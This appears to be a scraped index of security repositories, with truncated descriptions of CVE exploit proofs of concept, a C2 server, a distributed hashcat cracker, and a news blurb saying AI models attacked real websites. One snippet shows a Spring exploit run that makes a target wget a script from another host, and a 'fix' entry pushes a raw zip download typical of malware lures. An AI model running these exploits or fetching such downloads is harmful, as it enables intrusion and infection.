CVE-2024-23700-C2-Server

CVE-2024-23700 - C2 Server: Command and Control and Data Collection Server This project illustrates the design and construction of a Command & Control C2 server used for the experimental exploitation scenario of the privilege escalation vulnerability CVE-2024-23700. This server is responsible for...

CVE-2022-30190

CVE-2022-30190 Follina A proof of concept PoC for CVE-2022-30190 Follina. Requirements Victim Windows 10 21H1 equivalent/earlier Security update KB5016616 uninstalled Attacker Microsoft .NET SDK Python 3.9 or later Configuration Edit config.xml to modify the attacker's server hostname and port...

fix-react2shell-next

🚀 fix-react2shell-next - Fix Vulnerabilities in Your https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip App 📥 Download Now 📝 Overview fix-react2shell-next helps you address a critical security issue in your...

CVE-2015-3306-Home-Lab

ENGLISH BELOW ProFTPD 1.3.5 modcopy — RCE Simulation Lab Lab นี้ถูกออกแบบเพื่อจำลองช่องโหว่ CVE-2015-3306 — ProFTPD modcopy Remote File Copy to RCE ใช้สำหรับเรียนรู้ Web Shell Injection RCE ผ่านโมดูล modcopy ของ ProFTPD Features ProFTPD 1.3.5 แบบ Vulnerable เปิดใช้ modcopy เต็มรูปแบบ SITE CPFR /...

CVE-2014-6271

EXPLOIT FOR CVE-2014-6271 USAGE : CVE-2014-6271.py full path to target uri command...

kraker

About Setup Server Setup Agent Setup Build from source Using release Contacts About Kraker is a distributed password brute-force system that allows you to run and manage the hashcat on different servers and workstations, focused on easy of use. There were two main goals during the design and...

DSpace__DSpace_CVE-2022-31192_5-100

DSpace DSpace Documentation | DSpace Releases | DSpace Wiki | Support Overview DSpace open source software is a turnkey repository application used by more than 2,000 organizations and institutions worldwide to provide durable access to digital resources. For more information, visit...

Anthropic Cuts Live Internet Access for Internal AI Tests After Claude Exploits Injection Flaws

Anthropic on Friday said it's cutting off live internet access for all its internal evaluations until further notice following the discovery of new incidents in which its artificial intelligence AI models exhibited misaligned behavior and targeted real websites. The AI company said it identified...

CVE-2020-1048

CVE-2020-1048 An elevation of privilege vulnerability exists when the Windows Print Spooler service improperly allows arbitrary writing to the file system. An attacker who successfully exploited this vulnerability could run arbitrary code with elevated system privileges. An attacker could then...

CVE-2023-33782

CVE-2023-33782 Description D-Link DIR-842V2 v1.0.3 was discovered to contain a command injection vulnerability in the iperf3 diagnostics functionality. Proof of concept...

CVE-2026-25643

Frigate NVR ≤ 0.16.3 Blind RCE Exploit CVE-2026-25643 PoC 📜 Description This Python exploit targets a critical configuration manipulation vulnerability in Frigate NVR versions up to 0.16.3 both authenticated and unauthenticated paths. By injecting a malicious go2rtc stream and a fake camera entry...

opendcim-exploit

openDCIM - SQLi to RCE via Config Poisoning Remote code execution chain targeting openDCIM's install.php LDAP configuration form. Built on the VulnCheck go-exploit framework. Vulnerability Chain | CVE| CWE| Description ---|---|---|--- 1| CVE-2026-28515| CWE-862| install.php performs no role check...

bbot-ui

BBOT TUI Viewer A self-contained terminal UI for browsing and analyzing BBOT scan results. Features 🚀 Zero Setup - Single self-installing file, no manual dependencies 🔴 Live Refresh - Auto-updates while scans are running with accurate status detection 🎯 Smart Status Detection - Accurately...

CVE-2026-39987-POC

CVE-2026-39987 - Marimo 0.23.0 Pre-Auth RCE WebSocket Proof of Concept PoC exploit for a Critical Pre-Authentication Remote Code Execution RCE vulnerability in Marimo versions prior to 0.23.0. The vulnerability allows an unauthenticated attacker to connect to the WebSocket endpoint /terminal/ws a...

libreofficeExploit1

Basic exploit generation manual This post will cover how to use a simple program flaw to open a backdoor in the system that runs that program. The flaw in question is defined in CVE-2018-16858 belonging to the LibreOffice office suite. This flaw, in a specially crafted file, achieves directory...

ralph

Ralph A working implementation of the Ralph Wiggum autonomous loop technique for Claude Code. Background The official ralph-wiggum plugin in Anthropic's plugin marketplace is currently broken due to a security update in Claude Code v1.0.20 August 2025. The security patch CVE-2025-54795 correctly...

cve-2022-36804

CVE-2022-36804: RCE pre-autenticazione in Atlassian Bitbucket Server Una vulnerabilità critica di command injection è stata trovata in molteplici endpoint API di Atlassian Bit bucket Server e Data center. Questa vulnerabilità riguarda tutte le versioni di Bitbucket Server e Data Center rilasciate...

CVE-2026-44402

CVE-2026-44402 Pre-Authenticated Full Remote Command Execution in Voltronic Power SNMP Web Pro 1.1 Content Affected Vendor: https://voltronicpower.com/ Affected product: SNMP Web pro 1.1 SNMP Web Pro 1.1 contains an unauthenticated remote code execution vulnerability in the upload.cgi endpoint. T...

CVE-2022-22963-PoC

CVE-2022-22963: Spring4Shell RCE Exploit This is a python implemetation of Spring4Shell, CVE-2022-22963, affecting services running Spring Cloud Function /tmp/rce $ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh' + Host is vulnerable + Command executed + Explo...

CVE-2024-6366

To create a Metasploit module to exploit the RCE vulnerability in the User Profile Builder WordPress plugin before version 3.11.8, we need to take advantage of the lack of proper authorization in the media file upload functionality. Here is how you can create such a Metasploit module: Metasploit...